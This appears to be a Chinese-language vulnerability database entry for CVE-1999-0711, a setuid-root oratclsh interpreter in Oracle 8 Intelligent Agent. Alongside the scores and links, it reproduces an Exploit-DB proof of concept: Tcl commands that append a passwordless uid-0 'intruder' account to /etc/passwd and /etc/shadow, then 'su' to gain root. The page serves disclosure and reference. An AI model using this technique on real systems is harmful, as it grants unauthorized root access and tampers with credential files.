CVE-1999-0711
CVSS4.6
发布时间 :1999-04-29 00:00:00
修订时间 :2016-10-17 21:59:35
NMCOE    

[原文]The oratclsh interpreter in Oracle 8.x Intelligent Agent for Unix allows local users to execute Tcl commands as root.


[CNNVD]Unix Oracle 8.x Intelligent Agent oratclsh interpreter权限许可和访问控制漏洞(CNNVD-199904-038)

        Unix下Oracle 8.x Intelligent Agent的oratclsh interpreter存在漏洞。本地用户可以使用根权限执行Tcl命令。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:oracle8i:8.1.5
cpe:/a:oracle:oracle8i:8.0.5.1
cpe:/a:oracle:oracle8i:8.0.4
cpe:/a:oracle:oracle8i:8.0.3
cpe:/a:oracle:oracle8i:8.0.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0711
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0711
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199904-038
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=92609807906778&w=2
(UNKNOWN)  BUGTRAQ  19990506 Oracle Security Followup, patch and FAQ: setuid on oratclsh
http://marc.info/?t=92550157100002&w=2&r=1
(UNKNOWN)  BUGTRAQ  19990430 *Huge* security hole in Oracle 8.0.5 with Intellegent agent installed

- 漏洞信息

Unix Oracle 8.x Intelligent Agent oratclsh interpreter权限许可和访问控制漏洞
中危 未知
1999-04-29 00:00:00 2006-02-20 00:00:00
本地  
        Unix下Oracle 8.x Intelligent Agent的oratclsh interpreter存在漏洞。本地用户可以使用根权限执行Tcl命令。

- 公告与补丁

        

- 漏洞信息 (19125)

Oracle 8 oratclsh Suid Vulnerability (EDBID:19125)
linux local
1999-04-29 Verified
0 Dan Sugalski
N/A [点击下载]
source: http://www.securityfocus.com/bid/159/info

Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.

The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.

The offending core in "root.sh":

# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh 
/bin/chmod u+s /oracle/bin/oratclsh

./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other)		

- 漏洞信息

920
Oracle Intelligent Agent oratclsh Local Privilege Escalation
Local Access Required
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

1999-04-30 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站